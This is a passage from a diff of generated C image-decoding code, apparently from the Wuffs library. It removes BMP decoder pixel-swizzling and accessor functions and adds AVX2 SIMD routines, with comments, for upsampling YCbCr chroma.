= {0}; +- uint32_t v_dst_bits_per_pixel = 0; +- uint32_t v_dst_bytes_per_pixel = 0; +- uint64_t v_dst_bytes_per_row = 0; +- wuffs_base__slice_u8 v_dst_palette = {0}; +- wuffs_base__table_u8 v_tab = {0}; +- wuffs_base__slice_u8 v_dst = {0}; +- uint64_t v_i = 0; +- uint64_t v_n = 0; +- uint32_t v_p0 = 0; +- uint32_t v_p1 = 0; +- uint32_t v_p1_temp = 0; +- uint32_t v_num_bits = 0; +- uint32_t v_c = 0; +- uint32_t v_c32 = 0; +- uint32_t v_channel = 0; ++ __m256i mix10 = _mm256_unpacklo_epi16(mix00, mix02); ++ __m256i mix11 = _mm256_unpacklo_epi16(mix01, mix03); ++ __m256i mix12 = _mm256_unpackhi_epi16(mix00, mix02); ++ __m256i mix13 = _mm256_unpackhi_epi16(mix01, mix03); + +- const uint8_t* iop_a_src = NULL; +- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_src && a_src->data.ptr) { +- io0_a_src = a_src->data.ptr; +- io1_a_src = io0_a_src + a_src->meta.ri; +- iop_a_src = io1_a_src; +- io2_a_src = io0_a_src + a_src->meta.wi; +- } ++ __m256i mix20 = _mm256_unpacklo_epi32(mix10, mix11); ++ __m256i mix21 = _mm256_unpackhi_epi32(mix10, mix11); ++ __m256i mix22 = _mm256_unpacklo_epi32(mix12, mix13); ++ __m256i mix23 = _mm256_unpackhi_epi32(mix12, mix13); + +- v_dst_pixfmt = wuffs_base__pixel_buffer__pixel_format(a_dst); +- v_dst_bits_per_pixel = wuffs_base__pixel_format__bits_per_pixel(&v_dst_pixfmt); +- if ((v_dst_bits_per_pixel & 7u) != 0u) { +- status = wuffs_base__make_status(wuffs_base__error__unsupported_option); +- goto exit; +- } +- v_dst_bytes_per_pixel = (v_dst_bits_per_pixel / 8u); +- v_dst_bytes_per_row = ((uint64_t)((self->private_impl.f_width * v_dst_bytes_per_pixel))); +- v_dst_palette = wuffs_base__pixel_buffer__palette_or_else(a_dst, wuffs_base__make_slice_u8_ij(self->private_data.f_scratch, 1024, 2048)); +- v_tab = wuffs_base__pixel_buffer__plane(a_dst, 0u); +- label__outer__continue:; +- while (true) { +- while (self->private_impl.f_pending_pad > 0u) { +- if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { +- status = wuffs_base__make_status(wuffs_bmp__note__internal_note_short_read); +- goto ok; +- } +- self->private_impl.f_pending_pad -= 1u; +- iop_a_src += 1u; +- } +- while (true) { +- if (self->private_impl.f_dst_x == self->private_impl.f_width) { +- self->private_impl.f_dst_x = 0u; +- self->private_impl.f_dst_y += self->private_impl.f_dst_y_inc; +- if (self->private_impl.f_dst_y >= self->private_impl.f_height) { +- if (self->private_impl.f_height > 0u) { +- self->private_impl.f_pending_pad = self->private_impl.f_pad_per_row; +- } +- goto label__outer__break; +- } else if (self->private_impl.f_pad_per_row != 0u) { +- self->private_impl.f_pending_pad = self->private_impl.f_pad_per_row; +- goto label__outer__continue; +- } +- } +- v_p1_temp = ((uint32_t)(self->private_impl.f_width - self->private_impl.f_dst_x)); +- v_p1 = wuffs_base__u32__min(v_p1_temp, 256u); +- v_p0 = 0u; +- while (v_p0 < v_p1) { +- if (self->private_impl.f_bits_per_pixel == 16u) { +- if (((uint64_t)(io2_a_src - iop_a_src)) < 2u) { +- break; +- } +- v_c32 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); +- iop_a_src += 2u; +- } else { +- if (((uint64_t)(io2_a_src - iop_a_src)) < 4u) { +- break; +- } +- v_c32 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); +- iop_a_src += 4u; +- } +- v_channel = 0u; +- while (v_channel < 4u) { +- if (self->private_impl.f_channel_num_bits[v_channel] == 0u) { +- self->private_data.f_scratch[((8u * v_p0) + (2u * v_channel) + 0u)] = 255u; +- self->private_data.f_scratch[((8u * v_p0) + (2u * v_channel) + 1u)] = 255u; +- } else { +- v_c = ((v_c32 & self->private_impl.f_channel_masks[v_channel]) >> self->private_impl.f_channel_shifts[v_channel]); +- v_num_bits = ((uint32_t)(self->private_impl.f_channel_num_bits[v_channel])); +- while (v_num_bits < 16u) { +- v_c |= ((uint32_t)(v_c << v_num_bits)); +- v_num_bits *= 2u; +- } +- v_c >>= (v_num_bits - 16u); +- self->private_data.f_scratch[((8u * v_p0) + (2u * v_channel) + 0u)] = ((uint8_t)((v_c >> 0u))); +- self->private_data.f_scratch[((8u * v_p0) + (2u * v_channel) + 1u)] = ((uint8_t)((v_c >> 8u))); +- } +- v_channel += 1u; +- } +- v_p0 += 1u; +- } +- v_dst = wuffs_base__table_u8__row_u32(v_tab, self->private_impl.f_dst_y); +- if (v_dst_bytes_per_row < ((uint64_t)(v_dst.len))) { +- v_dst = wuffs_base__slice_u8__subslice_j(v_dst, v_dst_bytes_per_row); +- } +- v_i = (((uint64_t)(self->private_impl.f_dst_x)) * ((uint64_t)(v_dst_bytes_per_pixel))); +- if (v_i >= ((uint64_t)(v_dst.len))) { +- v_n = ((uint64_t)(v_p0)); +- } else { +- v_n = wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, wuffs_base__slice_u8__subslice_i(v_dst, v_i), v_dst_palette, wuffs_base__make_slice_u8(self->private_data.f_scratch, (8u * v_p0))); +- } +- if (v_n == 0u) { +- status = wuffs_base__make_status(wuffs_bmp__note__internal_note_short_read); +- goto ok; +- } +- wuffs_base__u32__sat_add_indirect(&self->private_impl.f_dst_x, ((uint32_t)(v_n))); +- } +- } +- label__outer__break:; +- status = wuffs_base__make_status(NULL); +- goto ok; ++ __m256i mix30 = _mm256_permute2x128_si256(mix20, mix21, 0x20); ++ __m256i mix31 = _mm256_permute2x128_si256(mix22, mix23, 0x20); ++ __m256i mix32 = _mm256_permute2x128_si256(mix20, mix21, 0x31); ++ __m256i mix33 = _mm256_permute2x128_si256(mix22, mix23, 0x31); + +- ok: +- goto exit; +- exit: +- if (a_src && a_src->data.ptr) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } ++ _mm256_storeu_si256((__m256i*)(void*)(dst_iter + 0x00), mix30); ++ _mm256_storeu_si256((__m256i*)(void*)(dst_iter + 0x20), mix31); ++ _mm256_storeu_si256((__m256i*)(void*)(dst_iter + 0x40), mix32); ++ _mm256_storeu_si256((__m256i*)(void*)(dst_iter + 0x60), mix33); + +- return status; ++ uint32_t n = 32u - (31u & (x - x_end)); ++ dst_iter += 4u * n; ++ up0 += n; ++ up1 += n; ++ up2 += n; ++ x += n; ++ } + } + +-// -------- func bmp.decoder.swizzle_low_bit_depth ++#if defined(__GNUC__) && !defined(__clang__) ++// No-op. ++#else ++WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2,avx2") ++static const uint8_t* // ++wuffs_private_impl__swizzle_ycc__upsample_inv_h2v2_triangle_x86_avx2( ++ uint8_t* dst_ptr, ++ const uint8_t* src_ptr_major, ++ const uint8_t* src_ptr_minor, ++ size_t src_len, ++ uint32_t h1v2_bias_ignored, ++ bool first_column, ++ bool last_column) { ++ uint8_t* dp = dst_ptr; ++ const uint8_t* sp_major = src_ptr_major; ++ const uint8_t* sp_minor = src_ptr_minor; + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_bmp__decoder__swizzle_low_bit_depth( +- wuffs_bmp__decoder* self, +- wuffs_base__pixel_buffer* a_dst, +- wuffs_base__io_buffer* a_src) { +- wuffs_base__status status = wuffs_base__make_status(NULL); ++ if (first_column) { ++ src_len--; ++ if ((src_len <= 0u) && last_column) { ++ uint32_t sv = (12u * ((uint32_t)(*sp_major++))) + // ++ (4u * ((uint32_t)(*sp_minor++))); ++ *dp++ = (uint8_t)((sv + 8u) >> 4u); ++ *dp++ = (uint8_t)((sv + 7u) >> 4u); ++ return dst_ptr; ++ } + +- wuffs_base__pixel_format v_dst_pixfmt = {0}; +- uint32_t v_dst_bits_per_pixel = 0; +- uint32_t v_dst_bytes_per_pixel = 0; +- uint64_t v_dst_bytes_per_row = 0; +- wuffs_base__slice_u8 v_dst_palette = {0}; +- wuffs_base__table_u8 v_tab = {0}; +- wuffs_base__slice_u8 v_dst = {0}; +- uint64_t v_i = 0; +- uint64_t v_n = 0; +- uint32_t v_p0 = 0; +- uint32_t v_chunk_bits = 0; +- uint32_t v_chunk_count = 0; +- uint32_t v_pixels_per_chunk = 0; ++ uint32_t sv_major_m1 = sp_major[-0]; // Clamp offset to zero. ++ uint32_t sv_minor_m1 = sp_minor[-0]; // Clamp offset to zero. ++ uint32_t sv_major_p1 = sp_major[+1]; ++ uint32_t sv_minor_p1 = sp_minor[+1]; + +- const uint8_t* iop_a_src = NULL; +- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_src && a_src->data.ptr) { +- io0_a_src = a_src->data.ptr; +- io1_a_src = io0_a_src + a_src->meta.ri; +- iop_a_src = io1_a_src; +- io2_a_src = io0_a_src + a_src->meta.wi; ++ uint32_t sv = (9u * ((uint32_t)(*sp_major++))) + // ++ (3u * ((uint32_t)(*sp_minor++))); ++ *dp++ = (uint8_t)((sv + (3u * sv_major_m1) + (sv_minor_m1) + 8u) >> 4u); ++ *dp++ = (uint8_t)((sv + (3u * sv_major_p1) + (sv_minor_p1) + 7u) >> 4u); ++ if (src_len <= 0u) { ++ return dst_ptr; ++ } + } + +- v_dst_pixfmt = wuffs_base__pixel_buffer__pixel_format(a_dst); +- v_dst_bits_per_pixel = wuffs_base__pixel_format__bits_per_pixel(&v_dst_pixfmt); +- if ((v_dst_bits_per_pixel & 7u) != 0u) { +- status = wuffs_base__make_status(wuffs_base__error__unsupported_option); +- goto exit; +- } +- v_dst_bytes_per_pixel = (v_dst_bits_per_pixel / 8u); +- v_dst_bytes_per_row = ((uint64_t)((self->private_impl.f_width * v_dst_bytes_per_pixel))); +- v_dst_palette = wuffs_base__pixel_buffer__palette_or_else(a_dst, wuffs_base__make_slice_u8_ij(self->private_data.f_scratch, 1024, 2048)); +- v_tab = wuffs_base__pixel_buffer__plane(a_dst, 0u); +- while (true) { +- if (self->private_impl.f_dst_x == self->private_impl.f_width) { +- self->private_impl.f_dst_x = 0u; +- self->private_impl.f_dst_y += self->private_impl.f_dst_y_inc; +- if (self->private_impl.f_dst_y >= self->private_impl.f_height) { +- break; +- } +- } +- v_dst = wuffs_base__table_u8__row_u32(v_tab, self->private_impl.f_dst_y); +- if (v_dst_bytes_per_row < ((uint64_t)(v_dst.len))) { +- v_dst = wuffs_base__slice_u8__subslice_j(v_dst, v_dst_bytes_per_row); +- } +- v_i = (((uint64_t)(self->private_impl.f_dst_x)) * ((uint64_t)(v_dst_bytes_per_pixel))); +- if (v_i >= ((uint64_t)(v_dst.len))) { +- if (self->private_impl.f_bits_per_pixel == 1u) { +- v_chunk_count = ((wuffs_base__u32__sat_sub(self->private_impl.f_width, self->private_impl.f_dst_x) + 31u) / 32u); +- v_pixels_per_chunk = 32u; +- } else if (self->private_impl.f_bits_per_pixel == 2u) { +- v_chunk_count = ((wuffs_base__u32__sat_sub(self->private_impl.f_width, self->private_impl.f_dst_x) + 15u) / 16u); +- v_pixels_per_chunk = 16u; +- } else { +- v_chunk_count = ((wuffs_base__u32__sat_sub(self->private_impl.f_width, self->private_impl.f_dst_x) + 7u) / 8u); +- v_pixels_per_chunk = 8u; +- } +- while ((v_chunk_count >= 64u) && (((uint64_t)(io2_a_src - iop_a_src)) >= 256u)) { +- iop_a_src += 256u; +- self->private_impl.f_dst_x = wuffs_base__u32__min(self->private_impl.f_width, ((uint32_t)(self->private_impl.f_dst_x + (v_pixels_per_chunk * 64u)))); +- v_chunk_count -= 64u; +- } +- while ((v_chunk_count >= 8u) && (((uint64_t)(io2_a_src - iop_a_src)) >= 32u)) { +- iop_a_src += 32u; +- self->private_impl.f_dst_x = wuffs_base__u32__min(self->private_impl.f_width, ((uint32_t)(self->private_impl.f_dst_x + (v_pixels_per_chunk * 8u)))); +- v_chunk_count -= 8u; +- } +- while (v_chunk_count > 0u) { +- if (((uint64_t)(io2_a_src - iop_a_src)) < 4u) { +- status = wuffs_base__make_status(wuffs_bmp__note__internal_note_short_read); +- goto ok; +- } +- iop_a_src += 4u; +- self->private_impl.f_dst_x = wuffs_base__u32__min(self->private_impl.f_width, ((uint32_t)(self->private_impl.f_dst_x + (v_pixels_per_chunk * 1u)))); +- v_chunk_count -= 1u; +- } +- continue; +- } +- v_dst = wuffs_base__slice_u8__subslice_i(v_dst, v_i); +- v_p0 = 0u; +- if (self->private_impl.f_bits_per_pixel == 1u) { +- v_chunk_count = ((wuffs_base__u32__sat_sub(self->private_impl.f_width, self->private_impl.f_dst_x) + 31u) / 32u); +- v_chunk_count = wuffs_base__u32__min(v_chunk_count, 16u); +- while ((v_chunk_count > 0u) && (((uint64_t)(io2_a_src - iop_a_src)) >= 4u)) { +- v_chunk_bits = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); +- iop_a_src += 4u; +- self->private_data.f_scratch[(v_p0 + 0u)] = ((uint8_t)((1u & (v_chunk_bits >> 31u)))); +- self->private_data.f_scratch[(v_p0 + 1u)] = ((uint8_t)((1u & (v_chunk_bits >> 30u)))); +- self->private_data.f_scratch[(v_p0 + 2u)] = ((uint8_t)((1u & (v_chunk_bits >> 29u)))); +- self->private_data.f_scratch[(v_p0 + 3u)] = ((uint8_t)((1u & (v_chunk_bits >> 28u)))); +- self->private_data.f_scratch[(v_p0 + 4u)] = ((uint8_t)((1u & (v_chunk_bits >> 27u)))); +- self->private_data.f_scratch[(v_p0 + 5u)] = ((uint8_t)((1u & (v_chunk_bits >> 26u)))); +- self->private_data.f_scratch[(v_p0 + 6u)] = ((uint8_t)((1u & (v_chunk_bits >> 25u)))); +- self->private_data.f_scratch[(v_p0 + 7u)] = ((uint8_t)((1u & (v_chunk_bits >> 24u)))); +- self->private_data.f_scratch[(v_p0 + 8u)] = ((uint8_t)((1u & (v_chunk_bits >> 23u)))); +- self->private_data.f_scratch[(v_p0 + 9u)] = ((uint8_t)((1u & (v_chunk_bits >> 22u)))); +- self->private_data.f_scratch[(v_p0 + 10u)] = ((uint8_t)((1u & (v_chunk_bits >> 21u)))); +- self->private_data.f_scratch[(v_p0 + 11u)] = ((uint8_t)((1u & (v_chunk_bits >> 20u)))); +- self->private_data.f_scratch[(v_p0 + 12u)] = ((uint8_t)((1u & (v_chunk_bits >> 19u)))); +- self->private_data.f_scratch[(v_p0 + 13u)] = ((uint8_t)((1u & (v_chunk_bits >> 18u)))); +- self->private_data.f_scratch[(v_p0 + 14u)] = ((uint8_t)((1u & (v_chunk_bits >> 17u)))); +- self->private_data.f_scratch[(v_p0 + 15u)] = ((uint8_t)((1u & (v_chunk_bits >> 16u)))); +- self->private_data.f_scratch[(v_p0 + 16u)] = ((uint8_t)((1u & (v_chunk_bits >> 15u)))); +- self->private_data.f_scratch[(v_p0 + 17u)] = ((uint8_t)((1u & (v_chunk_bits >> 14u)))); +- self->private_data.f_scratch[(v_p0 + 18u)] = ((uint8_t)((1u & (v_chunk_bits >> 13u)))); +- self->private_data.f_scratch[(v_p0 + 19u)] = ((uint8_t)((1u & (v_chunk_bits >> 12u)))); +- self->private_data.f_scratch[(v_p0 + 20u)] = ((uint8_t)((1u & (v_chunk_bits >> 11u)))); +- self->private_data.f_scratch[(v_p0 + 21u)] = ((uint8_t)((1u & (v_chunk_bits >> 10u)))); +- self->private_data.f_scratch[(v_p0 + 22u)] = ((uint8_t)((1u & (v_chunk_bits >> 9u)))); +- self->private_data.f_scratch[(v_p0 + 23u)] = ((uint8_t)((1u & (v_chunk_bits >> 8u)))); +- self->private_data.f_scratch[(v_p0 + 24u)] = ((uint8_t)((1u & (v_chunk_bits >> 7u)))); +- self->private_data.f_scratch[(v_p0 + 25u)] = ((uint8_t)((1u & (v_chunk_bits >> 6u)))); +- self->private_data.f_scratch[(v_p0 + 26u)] = ((uint8_t)((1u & (v_chunk_bits >> 5u)))); +- self->private_data.f_scratch[(v_p0 + 27u)] = ((uint8_t)((1u & (v_chunk_bits >> 4u)))); +- self->private_data.f_scratch[(v_p0 + 28u)] = ((uint8_t)((1u & (v_chunk_bits >> 3u)))); +- self->private_data.f_scratch[(v_p0 + 29u)] = ((uint8_t)((1u & (v_chunk_bits >> 2u)))); +- self->private_data.f_scratch[(v_p0 + 30u)] = ((uint8_t)((1u & (v_chunk_bits >> 1u)))); +- self->private_data.f_scratch[(v_p0 + 31u)] = ((uint8_t)((1u & (v_chunk_bits >> 0u)))); +- v_p0 = ((v_p0 & 511u) + 32u); +- v_chunk_count -= 1u; +- } +- } else if (self->private_impl.f_bits_per_pixel == 2u) { +- v_chunk_count = ((wuffs_base__u32__sat_sub(self->private_impl.f_width, self->private_impl.f_dst_x) + 15u) / 16u); +- v_chunk_count = wuffs_base__u32__min(v_chunk_count, 32u); +- while ((v_chunk_count > 0u) && (((uint64_t)(io2_a_src - iop_a_src)) >= 4u)) { +- v_chunk_bits = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); +- iop_a_src += 4u; +- self->private_data.f_scratch[(v_p0 + 0u)] = ((uint8_t)((3u & (v_chunk_bits >> 30u)))); +- self->private_data.f_scratch[(v_p0 + 1u)] = ((uint8_t)((3u & (v_chunk_bits >> 28u)))); +- self->private_data.f_scratch[(v_p0 + 2u)] = ((uint8_t)((3u & (v_chunk_bits >> 26u)))); +- self->private_data.f_scratch[(v_p0 + 3u)] = ((uint8_t)((3u & (v_chunk_bits >> 24u)))); +- self->private_data.f_scratch[(v_p0 + 4u)] = ((uint8_t)((3u & (v_chunk_bits >> 22u)))); +- self->private_data.f_scratch[(v_p0 + 5u)] = ((uint8_t)((3u & (v_chunk_bits >> 20u)))); +- self->private_data.f_scratch[(v_p0 + 6u)] = ((uint8_t)((3u & (v_chunk_bits >> 18u)))); +- self->private_data.f_scratch[(v_p0 + 7u)] = ((uint8_t)((3u & (v_chunk_bits >> 16u)))); +- self->private_data.f_scratch[(v_p0 + 8u)] = ((uint8_t)((3u & (v_chunk_bits >> 14u)))); +- self->private_data.f_scratch[(v_p0 + 9u)] = ((uint8_t)((3u & (v_chunk_bits >> 12u)))); +- self->private_data.f_scratch[(v_p0 + 10u)] = ((uint8_t)((3u & (v_chunk_bits >> 10u)))); +- self->private_data.f_scratch[(v_p0 + 11u)] = ((uint8_t)((3u & (v_chunk_bits >> 8u)))); +- self->private_data.f_scratch[(v_p0 + 12u)] = ((uint8_t)((3u & (v_chunk_bits >> 6u)))); +- self->private_data.f_scratch[(v_p0 + 13u)] = ((uint8_t)((3u & (v_chunk_bits >> 4u)))); +- self->private_data.f_scratch[(v_p0 + 14u)] = ((uint8_t)((3u & (v_chunk_bits >> 2u)))); +- self->private_data.f_scratch[(v_p0 + 15u)] = ((uint8_t)((3u & (v_chunk_bits >> 0u)))); +- v_p0 = ((v_p0 & 511u) + 16u); +- v_chunk_count -= 1u; +- } +- } else { +- v_chunk_count = ((wuffs_base__u32__sat_sub(self->private_impl.f_width, self->private_impl.f_dst_x) + 7u) / 8u); +- v_chunk_count = wuffs_base__u32__min(v_chunk_count, 64u); +- while ((v_chunk_count > 0u) && (((uint64_t)(io2_a_src - iop_a_src)) >= 4u)) { +- v_chunk_bits = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); +- iop_a_src += 4u; +- self->private_data.f_scratch[(v_p0 + 0u)] = ((uint8_t)((15u & (v_chunk_bits >> 28u)))); +- self->private_data.f_scratch[(v_p0 + 1u)] = ((uint8_t)((15u & (v_chunk_bits >> 24u)))); +- self->private_data.f_scratch[(v_p0 + 2u)] = ((uint8_t)((15u & (v_chunk_bits >> 20u)))); +- self->private_data.f_scratch[(v_p0 + 3u)] = ((uint8_t)((15u & (v_chunk_bits >> 16u)))); +- self->private_data.f_scratch[(v_p0 + 4u)] = ((uint8_t)((15u & (v_chunk_bits >> 12u)))); +- self->private_data.f_scratch[(v_p0 + 5u)] = ((uint8_t)((15u & (v_chunk_bits >> 8u)))); +- self->private_data.f_scratch[(v_p0 + 6u)] = ((uint8_t)((15u & (v_chunk_bits >> 4u)))); +- self->private_data.f_scratch[(v_p0 + 7u)] = ((uint8_t)((15u & (v_chunk_bits >> 0u)))); +- v_p0 = ((v_p0 & 511u) + 8u); +- v_chunk_count -= 1u; +- } +- } +- v_p0 = wuffs_base__u32__min(v_p0, wuffs_base__u32__sat_sub(self->private_impl.f_width, self->private_impl.f_dst_x)); +- v_n = wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, v_dst, v_dst_palette, wuffs_base__make_slice_u8(self->private_data.f_scratch, v_p0)); +- if (v_n == 0u) { +- status = wuffs_base__make_status(wuffs_bmp__note__internal_note_short_read); +- goto ok; +- } +- wuffs_base__u32__sat_add_indirect(&self->private_impl.f_dst_x, ((uint32_t)(v_n))); +- } +- status = wuffs_base__make_status(NULL); +- goto ok; +- +- ok: +- goto exit; +- exit: +- if (a_src && a_src->data.ptr) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- +- return status; +-} +- +-// -------- func bmp.decoder.frame_dirty_rect +- +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__rect_ie_u32 +-wuffs_bmp__decoder__frame_dirty_rect( +- const wuffs_bmp__decoder* self) { +- if (!self) { +- return wuffs_base__utility__empty_rect_ie_u32(); +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return wuffs_base__utility__empty_rect_ie_u32(); ++ if (last_column) { ++ src_len--; + } + +- return wuffs_base__utility__make_rect_ie_u32( +- 0u, +- 0u, +- self->private_impl.f_width, +- self->private_impl.f_height); +-} ++ if (src_len < 32) { ++ // This fallback is the same as the non-SIMD-capable code path. ++ for (; src_len > 0u; src_len--) { ++ uint32_t sv_major_m1 = sp_major[-1]; ++ uint32_t sv_minor_m1 = sp_minor[-1]; ++ uint32_t sv_major_p1 = sp_major[+1]; ++ uint32_t sv_minor_p1 = sp_minor[+1]; + +-// -------- func bmp.decoder.num_animation_loops ++ uint32_t sv = (9u * ((uint32_t)(*sp_major++))) + // ++ (3u * ((uint32_t)(*sp_minor++))); ++ *dp++ = (uint8_t)((sv + (3u * sv_major_m1) + (sv_minor_m1) + 8u) >> 4u); ++ *dp++ = (uint8_t)((sv + (3u * sv_major_p1) + (sv_minor_p1) + 7u) >> 4u); ++ } + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint32_t +-wuffs_bmp__decoder__num_animation_loops( +- const wuffs_bmp__decoder* self) { +- if (!self) { +- return 0; +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; +- } ++ } else { ++ while (src_len > 0u) { ++ // Load 1+32+1 samples (six u8x32 vectors) from the major (jxx) and minor ++ // (nxx) rows. ++ // ++ // major_p0 = [j00 j01 j02 j03 .. j28 j29 j30 j31] // p0 = "plus 0" ++ // minor_p0 = [n00 n01 n02 n03 .. n28 n29 n30 n31] // p0 = "plus 0" ++ // major_m1 = [jm1 j00 j01 j02 .. j27 j28 j29 j30] // m1 = "minus 1" ++ // minor_m1 = [nm1 n00 n01 n02 .. n27 n28 n29 n30] // m1 = "minus 1" ++ // major_p1 = [j01 j02 j03 j04 .. j29 j30 j31 j32] // p1 = "plus 1" ++ // minor_p1 = [n01 n02 n03 n04 .. n29 n30 n31 n32] // p1 = "plus 1" ++ __m256i major_p0 = ++ _mm256_lddqu_si256((const __m256i*)(const void*)(sp_major + 0)); ++ __m256i minor_p0 = ++ _mm256_lddqu_si256((const __m256i*)(const void*)(sp_minor + 0)); ++ __m256i major_m1 = ++ _mm256_lddqu_si256((const __m256i*)(const void*)(sp_major - 1)); ++ __m256i minor_m1 = ++ _mm256_lddqu_si256((const __m256i*)(const void*)(sp_minor - 1)); ++ __m256i major_p1 = ++ _mm256_lddqu_si256((const __m256i*)(const void*)(sp_major + 1)); ++ __m256i minor_p1 = ++ _mm256_lddqu_si256((const __m256i*)(const void*)(sp_minor + 1)); + +- return 0u; +-} ++ // Unpack, staying with u8x32 vectors. ++ // ++ // step1_p0_lo = [j00 n00 j01 n01 .. j07 n07 j16 n16 j17 n17 .. j23 n23] ++ // step1_p0_hi = [j08 n08 j09 n09 .. j15 n15 j24 n24 j25 n25 .. j31 n31] ++ // step1_m1_lo = [jm1 nm1 j00 n00 .. j06 n06 j15 n15 j16 n16 .. j22 n22] ++ // step1_m1_hi = [j07 n07 j08 n08 .. j14 n14 j23 n23 j24 n24 .. j30 n30] ++ // step1_p1_lo = [j01 n01 j02 n02 .. j08 n08 j17 n17 j18 n18 .. j24 n24] ++ // step1_p1_hi = [j09 n09 j10 n10 .. j16 n16 j25 n25 j26 n26 .. j32 n32] ++ __m256i step1_p0_lo = _mm256_unpacklo_epi8(major_p0, minor_p0); ++ __m256i step1_p0_hi = _mm256_unpackhi_epi8(major_p0, minor_p0); ++ __m256i step1_m1_lo = _mm256_unpacklo_epi8(major_m1, minor_m1); ++ __m256i step1_m1_hi = _mm256_unpackhi_epi8(major_m1, minor_m1); ++ __m256i step1_p1_lo = _mm256_unpacklo_epi8(major_p1, minor_p1); ++ __m256i step1_p1_hi = _mm256_unpackhi_epi8(major_p1, minor_p1); + +-// -------- func bmp.decoder.num_decoded_frame_configs ++ // Multiply-add to get u16x16 vectors. ++ // ++ // step2_p0_lo = [9*j00+3*n00 9*j01+3*n01 .. 9*j23+3*n23] ++ // step2_p0_hi = [9*j08+3*n08 9*j09+3*n09 .. 9*j31+3*n31] ++ // step2_m1_lo = [3*jm1+1*nm1 3*j00+1*n00 .. 3*j22+1*n22] ++ // step2_m1_hi = [3*j07+1*n07 3*j08+1*n08 .. 3*j30+1*n30] ++ // step2_p1_lo = [3*j01+1*n01 3*j02+1*n02 .. 3*j24+1*n24] ++ // step2_p1_hi = [3*j09+1*n09 3*j10+1*n10 .. 3*j32+1*n32] ++ const __m256i k0309 = _mm256_set1_epi16(0x0309); ++ const __m256i k0103 = _mm256_set1_epi16(0x0103); ++ __m256i step2_p0_lo = _mm256_maddubs_epi16(step1_p0_lo, k0309); ++ __m256i step2_p0_hi = _mm256_maddubs_epi16(step1_p0_hi, k0309); ++ __m256i step2_m1_lo = _mm256_maddubs_epi16(step1_m1_lo, k0103); ++ __m256i step2_m1_hi = _mm256_maddubs_epi16(step1_m1_hi, k0103); ++ __m256i step2_p1_lo = _mm256_maddubs_epi16(step1_p1_lo, k0103); ++ __m256i step2_p1_hi = _mm256_maddubs_epi16(step1_p1_hi, k0103); + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_bmp__decoder__num_decoded_frame_configs( +- const wuffs_bmp__decoder* self) { +- if (!self) { +- return 0; +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; +- } ++ // Compute the weighted sums of (p0, m1) and (p0, p1). For example: ++ // ++ // step3_m1_lo[00] = ((9*j00) + (3*n00) + (3*jm1) + (1*nm1)) as u16 ++ // step3_p1_hi[15] = ((9*j31) + (3*n31) + (3*j32) + (1*n32)) as u16 ++ __m256i step3_m1_lo = _mm256_add_epi16(step2_p0_lo, step2_m1_lo); ++ __m256i step3_m1_hi = _mm256_add_epi16(step2_p0_hi, step2_m1_hi); ++ __m256i step3_p1_lo = _mm256_add_epi16(step2_p0_lo, step2_p1_lo); ++ __m256i step3_p1_hi = _mm256_add_epi16(step2_p0_hi, step2_p1_hi); + +- if (self->private_impl.f_call_sequence > 32u) { +- return 1u; +- } +- return 0u; +-} ++ // Bias by 8 (on the left) or 7 (on the right) and then divide by 16 ++ // (which is 9+3+3+1) to get a weighted average. On the left (m1), shift ++ // the u16 right value by 4. On the right (p1), shift right by 4 and then ++ // shift left by 8 so that, when still in the u16x16 little-endian ++ // interpretation, we have: ++ // - m1_element = (etcetera + 8) >> 4 ++ // - p1_element = ((etcetera + 7) >> 4) << 8 ++ // ++ // step4_m1_lo = [0x00?? 0x00?? ... 0x00?? 0x00??] ++ // step4_p1_lo = [0x??00 0x??00 ... 0x??00 0x??00] ++ // step4_m1_hi = [0x00?? 0x00?? ... 0x00?? 0x00??] ++ // step4_p1_hi = [0x??00 0x??00 ... 0x??00 0x??00] ++ __m256i step4_m1_lo = _mm256_srli_epi16( ++ _mm256_add_epi16(step3_m1_lo, _mm256_set1_epi16(8)), 4); ++ __m256i step4_p1_lo = _mm256_slli_epi16( ++ _mm256_srli_epi16(_mm256_add_epi16(step3_p1_lo, _mm256_set1_epi16(7)), ++ 4), ++ 8); ++ __m256i step4_m1_hi = _mm256_srli_epi16( ++ _mm256_add_epi16(step3_m1_hi, _mm256_set1_epi16(8)), 4); ++ __m256i step4_p1_hi = _mm256_slli_epi16( ++ _mm256_srli_epi16(_mm256_add_epi16(step3_p1_hi, _mm256_set1_epi16(7)), ++ 4), ++ 8); + +-// -------- func bmp.decoder.num_decoded_frames ++ // Bitwise-or two "0x00"-rich u16x16 vectors to get a u8x32 vector. Do ++ // that twice. Once for the low columns and once for the high columns. ++ // ++ // 